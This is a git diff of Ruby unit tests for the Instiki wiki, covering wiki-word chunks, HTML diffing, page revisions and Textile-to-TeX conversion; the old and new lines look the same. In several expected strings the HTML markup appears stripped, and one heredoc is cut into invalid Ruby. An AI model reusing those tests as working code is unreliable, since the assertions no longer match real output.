match(chunk_type, test_text, expected_chunk_state) - if chunk_type.respond_to? :pattern - assert_match(chunk_type.pattern, test_text) - end - - content = ContentStub.new(test_text) - chunk_type.apply_to(content) - - # Test if requested parts are correct. - expected_chunk_state.each_pair do |a_method, expected_value| - assert content.chunks.last.kind_of?(chunk_type) - assert_respond_to(content.chunks.last, a_method) - assert_equal(expected_value, content.chunks.last.send(a_method.to_sym), - "Wrong #{a_method} value") - end - end -end - -if defined? $validate_xml_in_assert_success and $validate_xml_in_assert_success == true - module Test - module Unit - module Assertions - unless method_defined? :__assert_success_before_ovverride_by_instiki - alias :__assert_success_before_ovverride_by_instiki :assert_success - end - def assert_success - __assert_success_before_ovverride_by_instiki - if @response.body.kind_of?(Proc) then # it's a file download, not an HTML content - else assert_nothing_raised(@response.body) { REXML::Document.new(@response.body) } end - end - end - end - end -end +ENV['RAILS_ENV'] ||= 'test' +require File.dirname(__FILE__) + '/../config/environment' +require 'application' +require 'test/unit' +require 'action_controller/test_process' + +# Uncomment this variable to have assert_success check that response bodies are valid XML +$validate_xml_in_assert_success = true + +# Convenient setup method for Test::Unit::TestCase +class Test::Unit::TestCase + + private + + def setup_controller_test(controller_class = nil, host = nil) + if controller_class + @controller = controller_class + elsif self.class.to_s =~ /^(\w+Controller)Test$/ + @controller = Object::const_get($1) + else + raise "Cannot derive the name of controller under test from class name #{self.class}" + end + @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new + @request.host = host || 'localhost' + return @request, @response + end + + # Wiki fixture for tests + + def setup_test_wiki + @wiki = ApplicationController.wiki = WikiServiceWithNoPersistence.new + @web = @wiki.create_web('Test Wiki 1', 'wiki1') + @home = @wiki.write_page('wiki1', 'HomePage', 'First revision of the HomePage end', Time.now, + Author.new('AnAuthor', '127.0.0.1')) + end + + def setup_wiki_with_three_pages + @oak = @wiki.write_page('wiki1', 'Oak', + "All about oak.\n" + + "category: trees", + 5.minutes.ago, Author.new('TreeHugger', '127.0.0.2')) + @elephant = @wiki.write_page('wiki1', 'Elephant', + "All about elephants.\n" + + "category: animals", + 10.minutes.ago, Author.new('Guest', '127.0.0.2')) + end + + def tear_down_wiki + ApplicationController.wiki = nil + end + +end + +class WikiServiceWithNoPersistence + include AbstractWikiService + def initialize + init_wiki_service + end + + def storage_path + RAILS_ROOT + '/storage/test/' + end +end + + +# This module is to be included in unit tests that involve matching chunks. +# It provides a easy way to test whether a chunk matches a particular string +# and any the values of any fields that should be set after a match. +class ContentStub < String + attr_reader :chunks, :content + def initialize(str) + super + @chunks = [] + end +end + +module ChunkMatch + + # Asserts a number of tests for the given type and text. + def match(chunk_type, test_text, expected_chunk_state) + if chunk_type.respond_to? :pattern + assert_match(chunk_type.pattern, test_text) + end + + content = ContentStub.new(test_text) + chunk_type.apply_to(content) + + # Test if requested parts are correct. + expected_chunk_state.each_pair do |a_method, expected_value| + assert content.chunks.last.kind_of?(chunk_type) + assert_respond_to(content.chunks.last, a_method) + assert_equal(expected_value, content.chunks.last.send(a_method.to_sym), + "Wrong #{a_method} value") + end + end +end + +if defined? $validate_xml_in_assert_success and $validate_xml_in_assert_success == true + module Test + module Unit + module Assertions + unless method_defined? :__assert_success_before_ovverride_by_instiki + alias :__assert_success_before_ovverride_by_instiki :assert_success + end + def assert_success + __assert_success_before_ovverride_by_instiki + if @response.body.kind_of?(Proc) then # it's a file download, not an HTML content + else assert_nothing_raised(@response.body) { REXML::Document.new(@response.body) } end + end + end + end + end +end diff --git a/test/unit/chunks/category_test.rb b/test/unit/chunks/category_test.rb index cdf29f23..991a450a 100755 --- a/test/unit/chunks/category_test.rb +++ b/test/unit/chunks/category_test.rb @@ -1,23 +1,23 @@ -#!/bin/env ruby - -require File.dirname(__FILE__) + '/../../test_helper' -require 'chunks/category' -require 'chunks/match' - -class CategoryTest < Test::Unit::TestCase - include ChunkMatch - - def test_single_category - match(Category, 'category: test', :list => ['test'], :hidden => nil) - match(Category, 'category : chunk test ', :list => ['chunk test'], :hidden => nil) - match(Category, ':category: test', :list => ['test'], :hidden => ':') - end - - def test_multiple_categories - match(Category, 'category: test, multiple', :list => ['test', 'multiple'], :hidden => nil) - match(Category, 'category : chunk test , multi category,regression test case ', - :list => ['chunk test','multi category','regression test case'], :hidden => nil - ) - end - -end +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../../test_helper' +require 'chunks/category' +require 'chunks/match' + +class CategoryTest < Test::Unit::TestCase + include ChunkMatch + + def test_single_category + match(Category, 'category: test', :list => ['test'], :hidden => nil) + match(Category, 'category : chunk test ', :list => ['chunk test'], :hidden => nil) + match(Category, ':category: test', :list => ['test'], :hidden => ':') + end + + def test_multiple_categories + match(Category, 'category: test, multiple', :list => ['test', 'multiple'], :hidden => nil) + match(Category, 'category : chunk test , multi category,regression test case ', + :list => ['chunk test','multi category','regression test case'], :hidden => nil + ) + end + +end diff --git a/test/unit/chunks/nowiki_test.rb b/test/unit/chunks/nowiki_test.rb index c2a78a55..f861c0fb 100755 --- a/test/unit/chunks/nowiki_test.rb +++ b/test/unit/chunks/nowiki_test.rb @@ -1,16 +1,16 @@ -#!/bin/env ruby - -require File.dirname(__FILE__) + '/../../test_helper' -require 'chunks/nowiki' -require 'chunks/match' - -class NoWikiTest < Test::Unit::TestCase - include ChunkMatch - - def test_simple_nowiki - match(NoWiki, 'This sentence contains [[raw text]]. Do not touch!', - :plain_text => '[[raw text]]' - ) - end - -end +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../../test_helper' +require 'chunks/nowiki' +require 'chunks/match' + +class NoWikiTest < Test::Unit::TestCase + include ChunkMatch + + def test_simple_nowiki + match(NoWiki, 'This sentence contains [[raw text]]. Do not touch!', + :plain_text => '[[raw text]]' + ) + end + +end diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb index fa8e64a1..043f547c 100755 --- a/test/unit/chunks/wiki_test.rb +++ b/test/unit/chunks/wiki_test.rb @@ -1,81 +1,81 @@ -#!/bin/env ruby - -require File.dirname(__FILE__) + '/../../test_helper' -require 'chunks/wiki' - -class WikiTest < Test::Unit::TestCase - - class ContentStub < String - def chunks - @chunks ||= [] - end - end - - include ChunkMatch - - def test_simple - match(WikiChunk::Word, 'This is a WikiWord okay?', :page_name => 'WikiWord') - end - - def test_escaped - match(WikiChunk::Word, 'Do not link to an \EscapedWord', - :page_name => 'EscapedWord', :escaped_text => 'EscapedWord' - ) - end - - def test_simple_brackets - match(WikiChunk::Link, 'This is a [[bracketted link]]', - :page_name => 'bracketted link', :escaped_text => nil - ) - end - - def test_complex_brackets - match(WikiChunk::Link, 'This is a tricky link [[Sperberg-McQueen]]', - :page_name => 'Sperberg-McQueen', :escaped_text => nil - ) - end - - def test_textile_link - textile_link = ContentStub.new('"Here is a special link":SpecialLink') - WikiChunk::Word.apply_to(textile_link) - assert_equal '"Here is a special link":SpecialLink', textile_link - assert textile_link.chunks.empty? - end - - def test_file_types - # only link - assert_link_parsed_as 'only text', 'only text', 'show', '[[only text]]' - # link and text - assert_link_parsed_as 'page name', 'link text', 'show', '[[page name|link text]]' - # link and type (file) - assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'file', '[[foo.tar.gz:file]]' - # link and type (pic) - assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'pic', '[[foo.tar.gz:pic]]' - # link, text and type - assert_link_parsed_as 'foo.tar.gz', 'FooTar', 'file', '[[foo.tar.gz|FooTar:file]]' - - # NEGATIVE TEST CASES - - # empty page name - assert_link_parsed_as '|link text?', '|link text?', 'file', '[[|link text?:file]]' - # empty link text - assert_link_parsed_as 'page name?|', 'page name?|', 'file', '[[page name?|:file]]' - # empty link type - assert_link_parsed_as 'page name', 'link?:', 'show', '[[page name|link?:]]' - # unknown link type - assert_link_parsed_as 'page name:create_system', 'page name:create_system', 'show', - '[[page name:create_system]]' - end - - def assert_link_parsed_as(expected_page_name, expected_link_text, expected_link_type, link) - link_to_file = ContentStub.new(link) - WikiChunk::Link.apply_to(link_to_file) - chunk = link_to_file.chunks.last - assert chunk - assert_equal expected_page_name, chunk.page_name - assert_equal expected_link_text, chunk.link_text - assert_equal expected_link_type, chunk.link_type - end - -end - +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../../test_helper' +require 'chunks/wiki' + +class WikiTest < Test::Unit::TestCase + + class ContentStub < String + def chunks + @chunks ||= [] + end + end + + include ChunkMatch + + def test_simple + match(WikiChunk::Word, 'This is a WikiWord okay?', :page_name => 'WikiWord') + end + + def test_escaped + match(WikiChunk::Word, 'Do not link to an \EscapedWord', + :page_name => 'EscapedWord', :escaped_text => 'EscapedWord' + ) + end + + def test_simple_brackets + match(WikiChunk::Link, 'This is a [[bracketted link]]', + :page_name => 'bracketted link', :escaped_text => nil + ) + end + + def test_complex_brackets + match(WikiChunk::Link, 'This is a tricky link [[Sperberg-McQueen]]', + :page_name => 'Sperberg-McQueen', :escaped_text => nil + ) + end + + def test_textile_link + textile_link = ContentStub.new('"Here is a special link":SpecialLink') + WikiChunk::Word.apply_to(textile_link) + assert_equal '"Here is a special link":SpecialLink', textile_link + assert textile_link.chunks.empty? + end + + def test_file_types + # only link + assert_link_parsed_as 'only text', 'only text', 'show', '[[only text]]' + # link and text + assert_link_parsed_as 'page name', 'link text', 'show', '[[page name|link text]]' + # link and type (file) + assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'file', '[[foo.tar.gz:file]]' + # link and type (pic) + assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'pic', '[[foo.tar.gz:pic]]' + # link, text and type + assert_link_parsed_as 'foo.tar.gz', 'FooTar', 'file', '[[foo.tar.gz|FooTar:file]]' + + # NEGATIVE TEST CASES + + # empty page name + assert_link_parsed_as '|link text?', '|link text?', 'file', '[[|link text?:file]]' + # empty link text + assert_link_parsed_as 'page name?|', 'page name?|', 'file', '[[page name?|:file]]' + # empty link type + assert_link_parsed_as 'page name', 'link?:', 'show', '[[page name|link?:]]' + # unknown link type + assert_link_parsed_as 'page name:create_system', 'page name:create_system', 'show', + '[[page name:create_system]]' + end + + def assert_link_parsed_as(expected_page_name, expected_link_text, expected_link_type, link) + link_to_file = ContentStub.new(link) + WikiChunk::Link.apply_to(link_to_file) + chunk = link_to_file.chunks.last + assert chunk + assert_equal expected_page_name, chunk.page_name + assert_equal expected_link_text, chunk.link_text + assert_equal expected_link_type, chunk.link_type + end + +end + diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb index 21e9d98f..b79646ff 100755 --- a/test/unit/diff_test.rb +++ b/test/unit/diff_test.rb @@ -1,82 +1,82 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'diff' - -include Diff - -class DiffTest < Test::Unit::TestCase - def test_init - assert(1 == 1, "tests working") - assert_nothing_raised("object created") do - s = SequenceMatcher.new "private Thread currentThread;", - "private volatile Thread currentThread;", - proc { |x| x == ' ' } - end - end - - def test_matching_blocks - s = SequenceMatcher.new "abxcd", "abcd" - assert(s.get_matching_blocks == [[0, 0, 2], [3, 2, 2], [5, 4, 0]], - "get_matching_blocks works") - end - - def test_ratio - s = SequenceMatcher.new "abcd", "bcde" - assert(s.ratio == 0.75, "ratio works") - assert(s.quick_ratio == 0.75, "quick_ratio works") - assert(s.real_quick_ratio == 1.0, "real_quick_ratio works") - end - - def test_longest_match - s = SequenceMatcher.new(" abcd", "abcd abcd") - assert(s.find_longest_match(0, 5, 0, 9) == [0, 4, 5], - "find_longest_match works") - s = SequenceMatcher.new() - end - - def test_opcodes - s = SequenceMatcher.new("qabxcd", "abycdf") - assert(s.get_opcodes == [ - [:delete, 0, 1, 0, 0], - [:equal, 1, 3, 0, 2], - [:replace, 3, 4, 2, 3], - [:equal, 4, 6, 3, 5], - [:insert, 6, 6, 5, 6]], "get_opcodes works") - end - - - def test_count_leading - assert(Diff.count_leading(' abc', ' ') == 3, - "count_leading works") - end - - def test_html2list - a = "here is the original text" - #p HTMLDiff.html2list(a) - end - - def test_html_diff - a = "this was the original string" - b = "this is the super string" - assert_equal 'this was ' + - 'is the ' + - 'original ' + - 'super string', - HTMLDiff.diff(a, b) - end - - def test_html_diff_with_multiple_paragraphs - a = "

        this was the original string

        " - b = "

        this is

        \r\n

        the super string

        \r\n

        around the world

        " - - assert_equal( - "

        this was " + - "is

        \r\n

        the " + - "original " + - "super string

        \r\n" + - "

        around the world

        ", - HTMLDiff.diff(a, b) - ) - end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'diff' + +include Diff + +class DiffTest < Test::Unit::TestCase + def test_init + assert(1 == 1, "tests working") + assert_nothing_raised("object created") do + s = SequenceMatcher.new "private Thread currentThread;", + "private volatile Thread currentThread;", + proc { |x| x == ' ' } + end + end + + def test_matching_blocks + s = SequenceMatcher.new "abxcd", "abcd" + assert(s.get_matching_blocks == [[0, 0, 2], [3, 2, 2], [5, 4, 0]], + "get_matching_blocks works") + end + + def test_ratio + s = SequenceMatcher.new "abcd", "bcde" + assert(s.ratio == 0.75, "ratio works") + assert(s.quick_ratio == 0.75, "quick_ratio works") + assert(s.real_quick_ratio == 1.0, "real_quick_ratio works") + end + + def test_longest_match + s = SequenceMatcher.new(" abcd", "abcd abcd") + assert(s.find_longest_match(0, 5, 0, 9) == [0, 4, 5], + "find_longest_match works") + s = SequenceMatcher.new() + end + + def test_opcodes + s = SequenceMatcher.new("qabxcd", "abycdf") + assert(s.get_opcodes == [ + [:delete, 0, 1, 0, 0], + [:equal, 1, 3, 0, 2], + [:replace, 3, 4, 2, 3], + [:equal, 4, 6, 3, 5], + [:insert, 6, 6, 5, 6]], "get_opcodes works") + end + + + def test_count_leading + assert(Diff.count_leading(' abc', ' ') == 3, + "count_leading works") + end + + def test_html2list + a = "here is the original text" + #p HTMLDiff.html2list(a) + end + + def test_html_diff + a = "this was the original string" + b = "this is the super string" + assert_equal 'this was ' + + 'is the ' + + 'original ' + + 'super string', + HTMLDiff.diff(a, b) + end + + def test_html_diff_with_multiple_paragraphs + a = "

        this was the original string

        " + b = "

        this is

        \r\n

        the super string

        \r\n

        around the world

        " + + assert_equal( + "

        this was " + + "is

        \r\n

        the " + + "original " + + "super string

        \r\n" + + "

        around the world

        ", + HTMLDiff.diff(a, b) + ) + end end \ No newline at end of file diff --git a/test/unit/file_yard_test.rb b/test/unit/file_yard_test.rb old mode 100644 new mode 100755 index 7bf13d95..01e468b0 --- a/test/unit/file_yard_test.rb +++ b/test/unit/file_yard_test.rb @@ -1,35 +1,35 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'fileutils' -require 'file_yard' -require 'stringio' - -class FileYardTest < Test::Unit::TestCase - - def setup - FileUtils.mkdir_p(file_path) - FileUtils.rm(Dir["#{file_path}/*"]) - @yard = FileYard.new(file_path) - end - - def test_files - assert_equal [], @yard.files - - # FileYard gets the list of files from directory in the constructor - @yard.upload_file('aaa', StringIO.new('file contents')) - assert_equal ["#{file_path}/aaa"], Dir["#{file_path}/*"] - assert_equal ['aaa'], @yard.files - assert @yard.has_file?('aaa') - assert_equal 'file contents', File.read(@yard.file_path('aaa')) - end - - def test_file_path - assert_equal "#{file_path}/abcd", @yard.file_path('abcd') - end - - def file_path - "#{RAILS_ROOT}/storage/test/instiki" - end - +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'fileutils' +require 'file_yard' +require 'stringio' + +class FileYardTest < Test::Unit::TestCase + + def setup + FileUtils.mkdir_p(file_path) + FileUtils.rm(Dir["#{file_path}/*"]) + @yard = FileYard.new(file_path) + end + + def test_files + assert_equal [], @yard.files + + # FileYard gets the list of files from directory in the constructor + @yard.upload_file('aaa', StringIO.new('file contents')) + assert_equal ["#{file_path}/aaa"], Dir["#{file_path}/*"] + assert_equal ['aaa'], @yard.files + assert @yard.has_file?('aaa') + assert_equal 'file contents', File.read(@yard.file_path('aaa')) + end + + def test_file_path + assert_equal "#{file_path}/abcd", @yard.file_path('abcd') + end + + def file_path + "#{RAILS_ROOT}/storage/test/instiki" + end + end \ No newline at end of file diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index 8e965a50..3c1e93e3 100755 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -1,91 +1,91 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'web' -require 'page' - -class PageTest < Test::Unit::TestCase - - class MockWeb < Web - def initialize() super(nil, 'test','test') end - def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end - def refresh_pages_with_references(name) end - end - - def setup - @page = Page.new( - MockWeb.new, - "FirstPage", - "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", - Time.local(2004, 4, 4, 16, 50), - "DavidHeinemeierHansson") - end - - def test_lock - assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) - - @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") - - assert @page.locked?(Time.local(2004, 4, 4, 16, 50)) - assert !@page.locked?(Time.local(2004, 4, 4, 17, 1)) - - @page.unlock - - assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) - end - - def test_lock_duration - @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") - - assert_equal 15, @page.lock_duration(Time.local(2004, 4, 4, 16, 45)) - end - - def test_plain_name - assert_equal "First Page", @page.plain_name - end - - def test_revise - @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') - assert_equal 2, @page.revisions.length, 'Should have two revisions' - assert_equal 'MarianneSyhler', @page.author, 'Mary should be the author now' - assert_equal 'DavidHeinemeierHansson', @page.revisions.first.author, 'David was the first author' - end - - def test_revise_continous_revision - @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') - assert_equal 2, @page.revisions.length - - @page.revise('HisWay would be MyWay in kinda update', Time.local(2004, 4, 4, 16, 57), 'MarianneSyhler') - assert_equal 2, @page.revisions.length - assert_equal 'HisWay would be MyWay in kinda update', @page.revisions.last.content - assert_equal Time.local(2004, 4, 4, 16, 57), @page.revisions.last.created_at - - @page.revise('HisWay would be MyWay in the house', Time.local(2004, 4, 4, 16, 58), 'DavidHeinemeierHansson') - assert_equal 3, @page.revisions.length - assert_equal 'HisWay would be MyWay in the house', @page.revisions.last.content - - @page.revise('HisWay would be MyWay in my way', Time.local(2004, 4, 4, 17, 30), 'DavidHeinemeierHansson') - assert_equal 4, @page.revisions.length - end - - def test_revise_content_unchanged - last_revision_before = @page.revisions.last - revisions_number_before = @page.revisions.size - - assert_raises(Instiki::ValidationError) { - @page.revise(@page.revisions.last.content.dup, Time.now, 'AlexeyVerkhovsky') - } - - assert_same last_revision_before, @page.revisions.last - assert_equal revisions_number_before, @page.revisions.size - end - - def test_rollback - @page.revise("spot two", Time.now, "David") - @page.revise("spot three", Time.now + 2000, "David") - assert_equal 3, @page.revisions.length, "Should have three revisions" - @page.rollback(1, Time.now) - assert_equal "spot two", @page.content - end - -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'web' +require 'page' + +class PageTest < Test::Unit::TestCase + + class MockWeb < Web + def initialize() super(nil, 'test','test') end + def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end + def refresh_pages_with_references(name) end + end + + def setup + @page = Page.new( + MockWeb.new, + "FirstPage", + "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson") + end + + def test_lock + assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) + + @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") + + assert @page.locked?(Time.local(2004, 4, 4, 16, 50)) + assert !@page.locked?(Time.local(2004, 4, 4, 17, 1)) + + @page.unlock + + assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) + end + + def test_lock_duration + @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") + + assert_equal 15, @page.lock_duration(Time.local(2004, 4, 4, 16, 45)) + end + + def test_plain_name + assert_equal "First Page", @page.plain_name + end + + def test_revise + @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') + assert_equal 2, @page.revisions.length, 'Should have two revisions' + assert_equal 'MarianneSyhler', @page.author, 'Mary should be the author now' + assert_equal 'DavidHeinemeierHansson', @page.revisions.first.author, 'David was the first author' + end + + def test_revise_continous_revision + @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') + assert_equal 2, @page.revisions.length + + @page.revise('HisWay would be MyWay in kinda update', Time.local(2004, 4, 4, 16, 57), 'MarianneSyhler') + assert_equal 2, @page.revisions.length + assert_equal 'HisWay would be MyWay in kinda update', @page.revisions.last.content + assert_equal Time.local(2004, 4, 4, 16, 57), @page.revisions.last.created_at + + @page.revise('HisWay would be MyWay in the house', Time.local(2004, 4, 4, 16, 58), 'DavidHeinemeierHansson') + assert_equal 3, @page.revisions.length + assert_equal 'HisWay would be MyWay in the house', @page.revisions.last.content + + @page.revise('HisWay would be MyWay in my way', Time.local(2004, 4, 4, 17, 30), 'DavidHeinemeierHansson') + assert_equal 4, @page.revisions.length + end + + def test_revise_content_unchanged + last_revision_before = @page.revisions.last + revisions_number_before = @page.revisions.size + + assert_raises(Instiki::ValidationError) { + @page.revise(@page.revisions.last.content.dup, Time.now, 'AlexeyVerkhovsky') + } + + assert_same last_revision_before, @page.revisions.last + assert_equal revisions_number_before, @page.revisions.size + end + + def test_rollback + @page.revise("spot two", Time.now, "David") + @page.revise("spot three", Time.now + 2000, "David") + assert_equal 3, @page.revisions.length, "Should have three revisions" + @page.rollback(1, Time.now) + assert_equal "spot two", @page.content + end + +end diff --git a/test/unit/redcloth_for_tex_test.rb b/test/unit/redcloth_for_tex_test.rb index d9237ed0..82270303 100755 --- a/test/unit/redcloth_for_tex_test.rb +++ b/test/unit/redcloth_for_tex_test.rb @@ -1,69 +1,69 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'redcloth_for_tex' - -class RedClothForTexTest < Test::Unit::TestCase - def test_basics - assert_equal '{\bf First Page}', RedClothForTex.new("*First Page*").to_tex - assert_equal '{\em First Page}', RedClothForTex.new("_First Page_").to_tex - assert_equal "\\begin{itemize}\n\t\\item A\n\t\t\\item B\n\t\t\\item C\n\t\\end{itemize}", RedClothForTex.new("* A\n* B\n* C").to_tex - end - - def test_blocks - assert_equal '\section*{hello}', RedClothForTex.new("h1. hello").to_tex - assert_equal '\subsection*{hello}', RedClothForTex.new("h2. hello").to_tex - end - - def test_table_of_contents - -source = < 'Abe', 'B' => 'Babe')) - end - - def test_entities - assert_equal "Beck \\& Fowler are 100\\% cool", RedClothForTex.new("Beck & Fowler are 100% cool").to_tex - end - - def test_bracket_links - assert_equal "such a Horrible Day, but I won't be Made Useless", RedClothForTex.new("such a [[Horrible Day]], but I won't be [[Made Useless]]").to_tex - end - - def test_footnotes_on_abbreviations - assert_equal( - "such a Horrible Day\\footnote{1}, but I won't be Made Useless", - RedClothForTex.new("such a [[Horrible Day]][1], but I won't be [[Made Useless]]").to_tex - ) - end - - def test_subsection_depth - assert_equal "\\subsubsection*{Hello}", RedClothForTex.new("h4. Hello").to_tex - end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'redcloth_for_tex' + +class RedClothForTexTest < Test::Unit::TestCase + def test_basics + assert_equal '{\bf First Page}', RedClothForTex.new("*First Page*").to_tex + assert_equal '{\em First Page}', RedClothForTex.new("_First Page_").to_tex + assert_equal "\\begin{itemize}\n\t\\item A\n\t\t\\item B\n\t\t\\item C\n\t\\end{itemize}", RedClothForTex.new("* A\n* B\n* C").to_tex + end + + def test_blocks + assert_equal '\section*{hello}', RedClothForTex.new("h1. hello").to_tex + assert_equal '\subsection*{hello}', RedClothForTex.new("h2. hello").to_tex + end + + def test_table_of_contents + +source = < 'Abe', 'B' => 'Babe')) + end + + def test_entities + assert_equal "Beck \\& Fowler are 100\\% cool", RedClothForTex.new("Beck & Fowler are 100% cool").to_tex + end + + def test_bracket_links + assert_equal "such a Horrible Day, but I won't be Made Useless", RedClothForTex.new("such a [[Horrible Day]], but I won't be [[Made Useless]]").to_tex + end + + def test_footnotes_on_abbreviations + assert_equal( + "such a Horrible Day\\footnote{1}, but I won't be Made Useless", + RedClothForTex.new("such a [[Horrible Day]][1], but I won't be [[Made Useless]]").to_tex + ) + end + + def test_subsection_depth + assert_equal "\\subsubsection*{Hello}", RedClothForTex.new("h4. Hello").to_tex + end end \ No newline at end of file diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index db2a3302..4d4a0f71 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -1,255 +1,255 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'web' -require 'revision' -require 'fileutils' - -class RevisionTest < Test::Unit::TestCase - - def setup - setup_test_wiki - @web.markup = :textile - - @page = @wiki.read_page('wiki1', 'HomePage') - ['MyWay', 'SmartEngine', 'ThatWay'].each do |page| - @wiki.write_page('wiki1', page, page, Time.now, 'Me') - end - - @revision = Revision.new(@page, 1, - 'HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \OverThere -- ' + - 'see SmartEngine in that SmartEngineGUI', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - end - - def test_wiki_words - assert_equal %w( HisWay MyWay SmartEngine SmartEngineGUI ThatWay ), @revision.wiki_words.sort - end - - def test_existing_pages - assert_equal %w( MyWay SmartEngine ThatWay ), @revision.existing_pages.sort - end - - def test_unexisting_pages - assert_equal %w( HisWay SmartEngineGUI ), @revision.unexisting_pages.sort - end - - def test_content_with_wiki_links - assert_equal '

        His Way? ' + - 'would be My Way in kinda ' + - 'That Way in ' + - 'His Way? ' + - 'though My Way OverThere—see ' + - 'Smart Engine in that ' + - 'Smart Engine GUI' + - '?

        ', - @revision.display_content - end - - def test_bluecloth - @web.markup = :markdown - - assert_markup_parsed_as( - %{

        My Headline

        \n\n

        that } + - %{Smart Engine GUI?

        }, - "My Headline\n===========\n\n that SmartEngineGUI") - - code_block = [ - 'This is a code block:', - '', - ' def a_method(arg)', - ' return ThatWay', - '', - 'Nice!' - ].join("\n") - - assert_markup_parsed_as( - %{

        This is a code block:

        \n\n
        def a_method(arg)\n} +
        -	    %{return ThatWay\n
        \n\n

        Nice!

        }, - code_block) - end - - def test_rdoc - @web.markup = :rdoc - - @revision = Revision.new(@page, 1, '+hello+ that SmartEngineGUI', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - - assert_equal "hello that Smart Engine GUI" + - "?\n\n", @revision.display_content - end - - def test_content_with_auto_links - assert_markup_parsed_as( - '

        http://www.loudthinking.com/ ' + - 'points to That Way from ' + - 'david@loudthinking.com

        ', - 'http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com') - - end - - def test_content_with_aliased_links - assert_markup_parsed_as( - '

        Would a clever motor' + - ' go by any other name?

        ', - 'Would a [[SmartEngine|clever motor]] go by any other name?') - end - - def test_content_with_wikiword_in_em - assert_markup_parsed_as( - '

        should we go ' + - 'That Way or This Way?' + - '

        ', - '_should we go ThatWay or ThisWay _') - end - - def test_content_with_wikiword_in_tag - assert_markup_parsed_as( - '

        That is some Stylish Emphasis

        ', - 'That is some Stylish Emphasis') - end - - def test_content_with_escaped_wikiword - # there should be no wiki link - assert_markup_parsed_as('

        WikiWord

        ', '\WikiWord') - end - - def test_content_with_pre_blocks - assert_markup_parsed_as( - 'A class SmartEngine end would not mark up
        CodeBlocks
        ', - 'A class SmartEngine end would not mark up
        CodeBlocks
        ') - end - - def test_content_with_autolink_in_parentheses - assert_markup_parsed_as( - '

        The W3C body (' + - 'http://www.w3c.org) sets web standards

        ', - 'The W3C body (http://www.w3c.org) sets web standards') - end - - def test_content_with_link_in_parentheses - assert_markup_parsed_as( - '

        (What is a wiki?)

        ', - '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki)') - end - - def test_content_with_image_link - assert_markup_parsed_as( - '

        This is a Textile image link.

        ', - 'This !http://hobix.com/sample.jpg! is a Textile image link.') - end - - def test_content_with_nowiki_text - assert_markup_parsed_as( - '

        Do not mark up [[this text]] or http://www.thislink.com.

        ', - 'Do not mark up [[this text]] ' + - 'or http://www.thislink.com.') - end - - def test_content_with_bracketted_wiki_word - @web.brackets_only = true - assert_markup_parsed_as( - '

        This is a WikiWord and a tricky name ' + - 'Sperberg-McQueen?.

        ', - 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].') - end - - def test_content_for_export - assert_equal '

        His Way would be ' + - 'My Way in kinda ' + - 'That Way in ' + - 'His Way though ' + - 'My Way OverThere—see ' + - 'Smart Engine in that ' + - 'Smart Engine GUI

        ', - @revision.display_content_for_export - end - - def test_double_replacing - @revision.content = "VersionHistory\r\n\r\ncry VersionHistory" - assert_equal '

        Version History' + - "?

        \n\n\t

        cry " + - 'Version History?' + - '

        ', - @revision.display_content - - @revision.clear_display_cache - - @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory" - assert_equal "

        f
        \nVersion History" + - "?

        \n\n\t

        cry " + - "Version History?" + - "

        ", - @revision.display_content - end - - def test_difficult_wiki_words - @revision.content = "[[It's just awesome GUI!]]" - assert_equal "

        It's just awesome GUI!" + - "?

